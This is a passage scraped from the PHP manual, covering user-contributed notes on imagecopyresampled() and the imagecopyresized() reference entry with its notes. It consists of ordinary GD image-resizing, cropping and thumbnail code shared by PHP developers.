    // Resample with 1px border
    imagecopyresampled($image_f, $image_p, $bordersize, $bordersize, $x, $y,     $desired_width    - 2 * $bordersize,
                                                                                $desired_height    - 2 * $bordersize,
                                                                                $desired_width    - 2 * $bordersize,
                                                                                $desired_height    - 2 * $bordersize);

    return $image_f;
}

$image_f = imagecopyresampledselection('test.jpg', 571, 319, 1, "center");
header('Content-type: image/jpeg');
imagejpeg($image_f, null, 100);

?>

To see a result, just browse http://www.notup2u.net/v8

Nicolas Grasset
12-Aug-2005 02:19
Here is my own custom utility which I call "Thumbnailer" (I know it is cheesy).
It's rather short, and it will take JPEG (you can change that easily), and
format it to a specified output width and height as a PNG
(or whatever else you choose):
<?php
//Dimensions
$outWidth=100; $outHeight=75;
//Do it
$imgSrc=imagecreatefromjpeg("[source]");
$srcWidth=imagesx($imgSrc);
$srcHeight=imagesy($imgSrc);
//Make thumbnails
$imgOut=imagecreatetruecolor($outWidth,$outHeight);
imagerectangle($imgOut,0,0,$outWidth,$outHeight,
 imagecolorallocate($imgOut,0,0,0));
//Copy them proportionatly
$dx=0; $dy=0; $dw=$outWidth; $dh=$outHeight;
if ($outWidth*$srcHeight!=$outHeight*$srcWidth) { //Non-proportional, cut-off
 //Which dimensions is larger
 if ($srcWidth>$srcHeight) { //Empty space on top and bottom
  $dw=$outWidth;
  $dh=($dw*$srcHeight)/$srcWidth;
  $dy=($outHeight-$dh)/2;
 }
 else { //Empty space on left and right
  $dh=$outHeight;
  $dw=($dh*$srcWidth)/$srcHeight;
  $dx=($outWidth-$dw)/2;
 }
}
imagecopyresampled($imgOut,$imgSrc,$dx,$dy,0,0,
 $dw,$dh,$srcWidth,$srcHeight); //imagecopyresized for lower quality
//Create the thumbnail and destroy everything else
imagepng($imgOut,"[out]");
echo "Image created successfully: $outWidth x $outHeight, ".round(filesize("[source]")/1024)." KB<br>";
imagedestroy($imgSrc);
imagedestroy($imgOut);
?>
I just use this as a loop to create thumbnails for a series of ordered images.
phpman at paodj dot net 20-Jul-2005 12:27
<?php

function img_resize($path,$w=0,$h=0,$quality=100,$save=''){

  $image_data=@getimagesize($path);

  $image_type=$image_data[2];
  $gd_ext=array('','jpg','gif');
  if($image_type!=1&&$image_type!=2) return false;
  if($save=='') header('Content-type: '.$image_data['mime']); else $save=eregi_replace('%ext',$gd_ext[$image_type],$save);

  if($w!=0){
    $rapporto=$image_data[0]/$w;
    if($h!=0){
      if($image_data[1]/$rapporto>$h) $rapporto=$image_data[1]/$h;
    }
  }elseif($h!=0){
    $tmp_h=$image_data[1]/$h;
  }else{
    return false;
  }

  $thumb_w=$image_data[0]/$rapporto;
  $thumb_h=$image_data[1]/$rapporto;

  if($image_type==1) $img_src=@imagecreatefromgif($path);
  elseif($image_type==2) $img_src=@imagecreatefromjpeg($path);

  $img_thumb=@imagecreatetruecolor($thumb_w,$thumb_h);
  $result=@imagecopyresampled($img_thumb,$img_src,
0,0,0,0,$thumb_w,$thumb_h,$image_data[0],$image_data[1]);
  if(!$img_src||!$img_thumb||!$result) return false;

  if($image_type==1) $result=@imagegif($img_thumb,$save);
  elseif($image_type==2) $result=@imagejpeg($img_thumb,$save,$quality);

  return $result;
}

?>

This script resize images. It can also make thumbs. It use the resample of images for hight quality result.

It can show the result or save it (if $save isn't null).
It respect the width and/or the height of image.
It can replace the destination file extestion dinamically (filename.%ext)
Support gif & jpg.

Return false if something goes wrong.
05-Jul-2005 02:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.
Pie pie 26-May-2005 02:21
Confirming on what fluffle said, and to say his code will also crop and resize an image what is smaller than 100x100 pixels if you want. This is important because it means your images no matter how you decide to rezise them, will maintain their aspect ratios and with a minimum amount of image loss.

    //Get file type
    $mime = $orig_image_mimetype;
    $type = substr($mime, strpos($mime,'/')+1);
    switch($type) {
        case 'jpeg':
        case 'pjpeg':
            $big = imagecreatefromjpeg($file);
            break;
        case 'png':
        case 'x-png':
            $big = imagecreatefrompng($file);
             break;
        case 'gif':
            $big = imagecreatefromgif($file);
            break;
        default:
            return FALSE;
            break;
    }

The above code is what I use to support multiple file type resizing. I then use the same thing again when it's time to output the image using $result = imagejpeg($thumb,'',80), imagepng($thumb), and imagegif($thumb).
fluffle <at> gmail <dot> com 21-May-2005 10:35
Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

list($ow, $oh) = getimagesize($image_filename);
$big = imagecreatefromjpeg($image_filename);
$thumb = imagecreatetruecolor(100,100);
if ($ow > $oh) {
    $off_w = ($ow-$oh)/2;
    $off_h = 0;
    $ow = $oh;
} elseif ($oh > $ow) {
    $off_w = 0;
    $off_h = ($oh-$ow)/2;
    $oh = $ow;
} else {
    $off_w = 0;
    $off_h = 0;
}
imagecopyresampled($thumb, $big, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);
carnivorous_winds_fr AT yahoo DOT fr 19-May-2005 07:47
I tried this code from a previous post.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
         for($x=0;$x<$t_wd;$x++) {
           for($y=0;$y<$t_ht;$y++) {
             imageSetPixel( $t_im, $x, $y, $transparent );
           }
         }
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>

It seems that it is not working correctly. In my test the source picture in ImageCopyResampled() is smaller than the destination picture $t_im, the remaining part is white !

I changed transparent alpha channel to 127, and I tried to replace loops with imagefilledrectangle().

It works fine and these resource greedy loops are removed.

Here is the code with my change.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 127);
         imagefilledrectangle($t_img, 0, 0, $t_wd, $t_ht, $transparent);
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>
del at kartoon dot net 05-May-2005 10:38
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
djneoform at gmail dot com 04-Mar-2005 03:21
Here's a function i made that will force a given set of constraints on an image (usrfull if you want to make thumbnails that are all the same size) while keeping aspect ratio.

It resizes, then crops the extra off the top or bottom.

function forceConstraints($srcFile, $srcType, $dstType, $dstWidth, $dstHeight, $dstPath)
{
    if ($srcType == "image/jpeg")
        $handle = @imagecreatefromjpeg($srcFile);
    else if ($srcType == "image/png")
        $handle = @imagecreatefrompng($srcFile);
    else if ($srcType == "image/gif")
        $handle = @imagecreatefromgif($srcFile);
    else
        return false;

    if (!$handle)
        return false;

    $srcWidth  = @imagesx($handle);
    $srcHeight = @imagesy($handle);

    if ($srcWidth >= $dstWidth && $srcHeight >= $dstHeight)
    {
        $newHandle = @imagecreatetruecolor($dstWidth, $dstHeight);
        if (!$newHandle)
            return false;

        if($srcHeight < $srcWidth)
        {
            $ratio = (double)($srcHeight / $dstHeight);

            $cpyWidth = round($dstWidth * $ratio);
            if ($cpyWidth > $srcWidth)
            {
                $ratio = (double)($srcWidth / $dstWidth);
                $cpyWidth = $srcWidth;
                $cpyHeight = round($dstHeight * $ratio);
                $xOffset = 0;
                $yOffset = round(($srcHeight - $cpyHeight) / 2);
            } else {
                $cpyHeight = $srcHeight;
                $xOffset = round(($srcWidth - $cpyWidth) / 2);
                $yOffset = 0;
            }

        } else {
            $ratio = (double)($srcWidth / $dstWidth);

            $cpyHeight = round($dstHeight * $ratio);
            if ($cpyHeight > $srcHeight)
            {
                $ratio = (double)($srcHeight / $dstHeight);
                $cpyHeight = $srcHeight;
                $cpyWidth = round($dstWidth * $ratio);
                $xOffset = round(($srcWidth - $cpyWidth) / 2);
                $yOffset = 0;
            } else {
                $cpyWidth = $srcWidth;
                $xOffset = 0;
                $yOffset = round(($srcHeight - $cpyHeight) / 2);
            }
        }

        if (!@imagecopyresampled($newHandle, $handle, 0, 0, $xOffset, $yOffset, $dstWidth, $dstHeight, $cpyWidth, $cpyHeight))
            return false;
        @imagedestroy($handle);

        if ($dstType == "png")
            @imagepng($newHandle, $dstPath.".png");
        else if ($dstType == "jpg")
            @imagejpeg($newHandle, $dstPath.".jpg", 90);
        else if ($dstType == "gif")
            @imagegif($newHandle, $dstPath.".gif");
        else
            return false;
        @imagedestroy($newHandle);
        return true;

    } else {
        return "Sorry, that image is too small. The image must be at least ".$dstWidth."x".$dstHeight." pixels in size.";
    }
}
afrowuk at tiscali dot co dot uk 02-Jan-2005 04:17
This simple function resizes a JPG image file giving just a maximum width, and resizes keeping the aspect ratio. This is useful if you have to resize a JPG image that must fit the width of i.e. a div element, but doesn't have to have a maximum height.
<?
function resizeJPG($jpgFile, $width) {

    // Get new dimensions
    list($width_orig, $height_orig) = getimagesize($jpgFile);
    $height = (int) (($width / $width_orig) * $height_orig);

    // Resample
    $image_p = imagecreatetruecolor($width, $height);
    $image = imagecreatefromjpeg($jpgFile);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

    // Output
    imagejpeg($image_p, $jpgFile, 100);

}
?>

-Stu
stemplar444 at yahoo dot com 12-Aug-2004 07:57
Two comments regarding imageCopyResampleBicubic() published here.

Quality:
More grainy than imagecopyresampled(). Not very good for bigger destination images, I think.

Speed:
In my tests, it was only faster if destination size was smaller than ~200x200 pixel. The function becomes slower and slower the bigger the destination image gets. In contrast, imagecopyresampled() finished at the same speed, no matter how big the destination was. My source image resoloution ~ 1500x2000 pixel.
ron at korving dot demon dot nl 07-Aug-2004 11:25
This Bicubic resample algorithm is based on the one Scott posted earlier, only this one is about 50% faster for truecolor images and about 10% faster for palette images.

<?

function imageCopyResampleBicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
  $scaleX = ($src_w - 1) / $dst_w;
  $scaleY = ($src_h - 1) / $dst_h;

  $scaleX2 = $scaleX / 2.0;
  $scaleY2 = $scaleY / 2.0;

  $tc = imageistruecolor($src_img);

  for ($y = $src_y; $y < $src_y + $dst_h; $y++)
  {
    $sY   = $y * $scaleY;
    $siY  = (int) $sY;
    $siY2 = (int) $sY + $scaleY2;

    for ($x = $src_x; $x < $src_x + $dst_w; $x++)
    {
      $sX   = $x * $scaleX;
      $siX  = (int) $sX;
      $siX2 = (int) $sX + $scaleX2;

      if ($tc)
      {
        $c1 = imagecolorat($src_img, $siX, $siY2);
        $c2 = imagecolorat($src_img, $siX, $siY);
        $c3 = imagecolorat($src_img, $siX2, $siY2);
        $c4 = imagecolorat($src_img, $siX2, $siY);

        $r = (($c1 + $c2 + $c3 + $c4) >> 2) & 0xFF0000;
        $g = ((($c1 & 0xFF00) + ($c2 & 0xFF00) + ($c3 & 0xFF00) + ($c4 & 0xFF00)) >> 2) & 0xFF00;
        $b = ((($c1 & 0xFF)   + ($c2 & 0xFF)   + ($c3 & 0xFF)   + ($c4 & 0xFF))   >> 2);

        imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
      }
      else
      {
        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']   + $c2['red']   + $c3['red']   + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;

        imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
      }
    }
  }
}

?>
16-Jul-2004 02:09
In add to all the posts that describes how to create thumbnails:

If you are trying to resample a png image with its transparency you need to do this workaround:

<?
...
          $t_im = imageCreateTrueColor($t_wd,$t_ht);
          imageAntiAlias($t_im,true);
          imagealphablending($t_im, false);
          imagesavealpha($t_im,true);
          $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
          for($x=0;$x<$t_wd;$x++) {
            for($y=0;$y<$t_ht;$y++) {
              imageSetPixel( $t_im, $x, $y, $transparent );
            }
          }
          imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
          imagePNG($t_im, $image_name);
...
?>

The alphablending must be off so the imagesavealpha can be true.

The double FORs is need to fix the problem with imagefill function that not support colors with alpha setted.

It is TO SLOWLIER than imagefill, but do a nice work with static images.

Take a look and enjoy the nice result.

(this workaround needs the gd2 library)

[s]
Pigmeu
m.kumar [at] gmx.at 31-Aug-2001 06:10
For those who think that resampling loads the server too badly, have a look at this fine article over at zend:

http://www.zend.com/zend/art/scriptcaching.php

it describes how to create static html from scripts, however, this technique is pretty easily applicable to images.

I've written a short script to outline how to adapt my above mentioned article for caching of thumbnails. see:
http://tzu.nme.at/php/cache.phps


Copy and resize part of an image

  • « imagecopyresampled
  • imagecreate »
  • PHP Manual
  • GD and Image Functions
  • Copy and resize part of an image

imagecopyresized

(PHP 4, PHP 5)

imagecopyresized — Copy and resize part of an image

Description

bool imagecopyresized ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )

imagecopyresized() copies a rectangular portion of one image to another image. dst_image is the destination image, src_image is the source image identifier.

In other words, imagecopyresized() will take a rectangular area from src_image of width src_w and height src_h at position (src_x,src_y) and place it in a rectangular area of dst_image of width dst_w and height dst_h at position (dst_x,dst_y).

If the source and destination coordinates and width and heights differ, appropriate stretching or shrinking of the image fragment will be performed. The coordinates refer to the upper left corner. This function can be used to copy regions within the same image (if dst_image is the same as src_image) but if the regions overlap the results will be unpredictable.

Parameters

dst_image

Destination image link resource.

src_image

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

dst_w

Destination width.

dst_h

Destination height.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Resizing an image

This example will display the image at half size.

<?php
// File and new size
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-Type: image/jpeg');

// Get new sizes
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

// Load
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// Resize
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// Output
imagejpeg($thumb);
?>

The above example will output something similar to:

Output of example : Resizing an image

The image will be output at half size, though better quality could be obtained using imagecopyresampled().

Notes

Note:

There is a problem due to palette image limitations (255+1 colors). Resampling or filtering an image commonly needs more colors than 255, a kind of approximation is used to calculate the new resampled pixel and its color. With a palette image we try to allocate a new color, if that failed, we choose the closest (in theory) computed color. This is not always the closest visual color. That may produce a weird result, like blank (or visually blank) images. To skip this problem, please use a truecolor image as a destination image, such as one created by imagecreatetruecolor().

See Also

imagecopyresampled() - Copy and resize part of an image with resampling

User Contributed Notes

jack at computerrageprevention dot ca 19-Apr-2013 03:43
There are many user notes here that deal with creating a thumbnail, but I wrote a function that created a thumbnail of an image as it gets uploaded.  It is simply a combination of a file uploader with a thumbnail maker, but it is very simple to use now.

Following is an index.php file that contains the upload form, the function, and an example of how to use the function. The last two values in the 'thumb' function are for the width and height limits for the resulting thumbnail.  No matter what size the original image, the thumbnail will always fit within the dimensions specified.

<?php

if ($_POST[formname] =="upload")
{
 if ($_FILES)
 {
  foreach ($_FILES as $key => $value)
  {
   $m = thumb($value, realpath(dirname(__FILE__)) . "/" . "image_1", realpath(dirname(__FILE__)) . "/" . "thumb_1", 150, 150);

   // display any messages, whether success or failure
   if ($m) { foreach($m as $text) { print "$text<br>"; } }
  }
 }
}

function thumb($file, $bigname, $thumbname, $maxwidth, $maxheight)
{
 if (is_uploaded_file($file[tmp_name]))
 {
  // determine the image type
  if ($file[type] == "image/jpeg") { $ext = ".jpg"; }
  if ($file[type] == "image/png") { $ext = ".png"; }
  if ($file[type] == "image/gif") { $ext = ".gif"; }

  $newfile = $bigname . $ext;

  if (move_uploaded_file($file[tmp_name], $newfile))
  {
   $message[] = "Upload complete";

   // get old image size and convert to a maximum width/height combo
   $size = getimagesize($newfile);

   // only do the conversion if the width is greater than zero, otherwise there could be a division by zero error
   if ($size[1] != 0)
   {

    // Calculate the thumbnail's width an height, based on the max sized allowed and the original's dimensions
    if ($size[0]/$size[1] > $maxwidth/$maxheight)
    { $newwidth = $maxwidth; $newheight = floor(($size[1] * $maxwidth) / $size[0]); }
     else
    { $newheight = $maxheight; $newwidth = ceil(($size[0] * $maxheight) / $size[1]); }

    // Create the thumbnail
    $i = imagecreate($newwidth, $newheight);

    if ($ext == ".jpg") { $j = imagecreatefromjpeg($newfile); }
    if ($ext == ".png") { $j = imagecreatefrompng($newfile); }
    if ($ext == ".gif") { $j = imagecreatefromgif($newfile); }

    if ($j)
    {
     // Copy the original image and paste into the new image, resized
     if (imagecopyresized($i, $j, 0, 0, 0, 0, $newwidth, $newheight, $size[0], $size[1]))
     {
      if (imagejpeg($i, $thumbname . $ext, 100))
      {
       $message[] = "Image thumb created successfully";
      } else {
       $message[] = "Image thumb would not export";
      }
     } else {
      $message[] = "Image resize failure";
     }
    } else {
     $message[] = "Image type not recognized";
    }
   } else { // size[1] != 0
    $message[] = "Image size invalid";
   }
  } // move_uploaded_file
 } // is_uploaded_file

 return $message;
}

print "
<html>
<head>
<title>Image upload and create Thumbnail</title>
</head>

<body>

<form action='index.php' method='POST' enctype='multipart/form-data'>
<input type='hidden' name='formname' value='upload'>
<input type='file' name='fileupload'>
<input type='submit' value='Upload'>
</form>

</body>
</html>
";

?>

NOTE: This does not deal with adjusting palettes or transparent colors, but that can be added if you need it.
licson0729 at gmail dot com 17-Nov-2011 12:09
I couldn't find any script that resize an image and give border to it. So I made one myself. Hope that can help you.

<?php
function imagecopyresizedwithborder(&$src,$width,$height,$borderthickess,$bordercolor=NULL)
{
    list($width_orig, $height_orig) = array(imagesx($src),imagesy($src));

    if ($width && ($width_orig < $height_orig))
    {
        $width = ($height / $height_orig) * $width_orig;
    }
    else
    {
        $height = ($width / $width_orig) * $height_orig;
    }

    $dst = imagecreatetruecolor($width+2*$borderthickess,$height+2*$borderthickess);
    imagecolortransparent($dst,imagecolorallocate($dst,0,0,0));
    imagealphablending($dst,false);
    imagesavealpha($dst,true);
    imagefill($dst,0,0,(isset($bordercolor) ? $bordercolor : imagecolorallocate($dst,255,255,255)));
    imagecopyresampled($dst,$src,$borderthickess,$borderthickess,0,0,$width,$height,imagesx($src),imagesy($src));
    return $dst;
}

?>
email at vladislav dot net 23-Jun-2011 12:30
I didn't find here before any script giving both GIF and PNG transparent images correct, so I offer you mine.
Here is the code for 'image.php' script to generate a resized or original sized images of any type (JPEG, GIF, PNG) with respect to possible transparency of GIF and PNG.
The following script can be used in HTML tag IMG (to display an image marked in database with ID equal to 1 and resized to max 100px) like this:
<img src="image.php?id=1&size=100" />.

<?php
/* *************************
 * Script by A. Vladislav I.
 * ************************* */
$id = $_GET['id'];
$size = $_GET['size'];
if(!empty($id))
{
/* Here you may take the source image path from where you want: current direcory, databse etc.
 I used the $_GET['id'] for giving the script an ID of the image in database, where its real name is stored.
 I consider later the $f variable responsible to store file name and $type variable responsible to store mime type of the image. You may use function GetImageSize() to discover the mime type.
 So don't forget to set the */
  $f = /*...*/ ;
/* and */
  $type = /*...*/ ;
/* ... */
}
$imgFunc = '';
switch($type)
{
    case 'image/gif':
        $img = ImageCreateFromGIF($f);
        $imgFunc = 'ImageGIF';
        $transparent_index = ImageColorTransparent($img);
        if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);
        break;
    case 'image/jpeg':
        $img = ImageCreateFromJPEG($f);
        $imgFunc = 'ImageJPEG';
        break;
    case 'image/png':
        $img = ImageCreateFromPNG($f);
        ImageAlphaBlending($img,true);
        ImageSaveAlpha($img,true);
        $imgFunc = 'ImagePNG';
        break;
    default:
        die("ERROR - no image found");
        break;
}
header("Content-Type: ".$type);
if(!empty($size))
{

    list($w,$h) = GetImageSize($f);
    if( $w==0 or $h==0 ) die("ERROR - zero image size");
    $percent = $size / (($w>$h)?$w:$h);
    if($percent>0 and $percent<1)
    {
        $nw = intval($w*$percent);
        $nh = intval($h*$percent);
        $img_resized = ImageCreateTrueColor($nw,$nh);
        if($type=='image/png')
        {
            ImageAlphaBlending($img_resized,false);
            ImageSaveAlpha($img_resized,true);
        }
        if(!empty($transparent_color))
        {
            $transparent_new = ImageColorAllocate($img_resized,$transparent_color['red'],$transparent_color['green'],$transparent_color['blue']);
            $transparent_new_index = ImageColorTransparent($img_resized,$transparent_new);
            ImageFill($img_resized, 0,0, $transparent_new_index);
        }
        if(ImageCopyResized($img_resized,$img, 0,0,0,0, $nw,$nh, $w,$h ))
        {
            ImageDestroy($img);
            $img = $img_resized;

        }
    }
}
$imgFunc($img);
ImageDestroy($img);
?>

P.S.
The script can be written better (optimized etc.), but I hope you can do it by yourself.
kvslaap 02-May-2009 04:17
this is a script which loops trough a directory that is currently set to "files" and resizes all images with respecting the image ratio

<?php
//use this line if you get the error message of using too much memory (strip '//')
//ini_set ( "memory_limit", "48M");

$target_width = 800;
$target_height = 600;

if (ob_get_level() == 0) ob_start();
if ($handle = opendir('files/')) {
  while (false !== ($file = readdir($handle))) {
    if ($file != "." && $file != "..") {
      $destination_path = './files/';
      $target_path = $destination_path . basename($file);

      $extension = pathinfo($target_path);
      $allowed_ext = "jpg, gif, png, bmp, jpeg, JPG";
      $extension = $extension[extension];
      $allowed_paths = explode(", ", $allowed_ext);
      $ok = 0;
      for($i = 0; $i < count($allowed_paths); $i++) {
        if ($allowed_paths[$i] == "$extension") {
          $ok = "1";
        }
      }

      if ($ok == "1") {

        if($extension == "jpg" || $extension == "jpeg" || $extension == "JPG"){
          $tmp_image=imagecreatefromjpeg($target_path);
        }

        if($extension == "png") {
          $tmp_image=imagecreatefrompng($target_path);
        }

        if($extension == "gif") {
          $tmp_image=imagecreatefromgif($target_path);
        }

        $width = imagesx($tmp_image);
        $height = imagesy($tmp_image);

        //calculate the image ratio
        $imgratio = ($width / $height);

        if ($imgratio>1) {
          $new_width = $target_width;
          $new_height = ($target_width / $imgratio);
        } else {
          $new_height = $target_height;
          $new_width = ($target_height * $imgratio);
        }

        $new_image = imagecreatetruecolor($new_width,$new_height);
        ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
        //Grab new image
        imagejpeg($new_image, $target_path);
        $image_buffer = ob_get_contents();
        ImageDestroy($new_image);
        ImageDestroy($tmp_image);
        echo " $file resized to $new_width x $new_height <br> \n";
        echo str_pad('',4096)."\n";
        ob_flush();
        flush();
      }
    }
  }
  closedir($handle);
  echo "Done.";
  ob_end_flush();
}
?>
david from quidware 28-Jan-2009 09:50
If the script should resize and save thumb I use this simple code, I made a couple corrections from last one and added the possibility to resize to a max HEIGHT:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 * $maxisheight - is max for width (if not is for height)
 *
 * Author:  David Taubmann http://www.quidware.com (edited from LEDok - http://www.citadelavto.ru/)
 */

/*/    // And now how using this function fast:
if ($_POST[pic])
    {
    $tmpname  = $_FILES['pic']['tmp_name'];
    @img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
    @img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
    @img_resize( $tmpname , 60 , "../album" , "album_".$id."_maxheight.jpg", 1);
    }
    else
    echo "No Images uploaded via POST";
/**/

function img_resize( $tmpname, $size, $save_dir, $save_name, $maxisheight = 0 )
    {
    $save_dir     .= ( substr($save_dir,-1) != "/") ? "/" : "";
    $gis        = getimagesize($tmpname);
    $type        = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imagesx($imorig);
        $y = imagesy($imorig);

        $woh = (!$maxisheight)? $gis[0] : $gis[1] ;

        if($woh <= $size)
        {
        $aw = $x;
        $ah = $y;
        }
            else
        {
            if(!$maxisheight){
                $aw = $size;
                $ah = $size * $y / $x;
            } else {
                $aw = $size * $x / $y;
                $ah = $size;
            }
        }
        $im = imagecreatetruecolor($aw,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$aw,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }
?>
it at chmzap dot ru 18-Aug-2008 07:52
If the script should resize and save thumb I use this simple code:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 *
 * Author:  LEDok - http://www.citadelavto.ru/
 */

function img_resize( $tmpname, $size, $save_dir, $save_name )
    {
    $save_dir .= ( substr($save_dir,-1) != "/") ? "/" : "";
        $gis       = GetImageSize($tmpname);
    $type       = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imageSX($imorig);
        $y = imageSY($imorig);
        if($gis[0] <= $size)
        {
        $av = $x;
        $ah = $y;
        }
            else
        {
            $yc = $y*1.3333333;
            $d = $x>$yc?$x:$yc;
            $c = $d>$size ? $size/$d : $size;
              $av = $x*$c;        //высота исходной картинки
              $ah = $y*$c;        //длина исходной картинки
        }
        $im = imagecreate($av, $ah);
        $im = imagecreatetruecolor($av,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$av,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }

?>

And now how using this function fast

<?php
if ($_POST[pic])
{
$tmpname  = $_FILES['pic']['tmp_name'];
@img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
@img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
@img_resize( $tmpname , 60 , "../album" , "album_".$id."verysmall.jpg");
}
else
echo "No Images uploaded via POST";
?>
andrvm at andrvm dot ru 14-Oct-2007 01:09
One more version of setMemoryForImage (see below)

<?php

function setMemoryForImage($filename)
{
   $imageInfo    = getimagesize($filename);
   $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

   $memoryLimit = (int) ini_get('memory_limit')*1048576;

  if ((memory_get_usage() + $memoryNeeded) > $memoryLimit)
   {
     ini_set('memory_limit', ceil((memory_get_usage() + $memoryNeeded + $memoryLimit)/1048576).'M');
     return (true);
   }
   else return(false);
}

?>
//work's it. no problem!
nils dot clark-bernhard at human-aspects dot de 08-Jun-2007 01:52
Regarding ob at babcom dot biz's function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality)

Make sure to not use a quality of 9 or higher for png resizing.

PHP will output an error like:
fatal libpng error: zlib failed to initialize compressor
or
gd-png error: setjmp returns error condition
Halit Yesil mail at halityesil dot com 23-Mar-2007 05:34
This Class image resize or crop,
your copyright text write on the image and your logo marge on the image.

Full Class code => http://www.phpbuilder.com/snippet/download.php?type=snippet&id=2188
/**
     * Author         : Halit YESIL
     * www            : www.halityesil.com, www.prografik.net, www.trteknik.net
     * email        : mail@halityesil.com, halit.yesil@prografik.net, halit.yesil@trteknik.net
     * GSM            : +90.535 648 3504
     * Create Date    : 21 / 03 / 2007
     *
     *
     * Script        : Image resize and croping class.
     *                  You can Write copyright text and attach your logo write on image with this class
     *
     *
     * $obj = new pg_image($arg);
     *
     *
     * Varibles Information
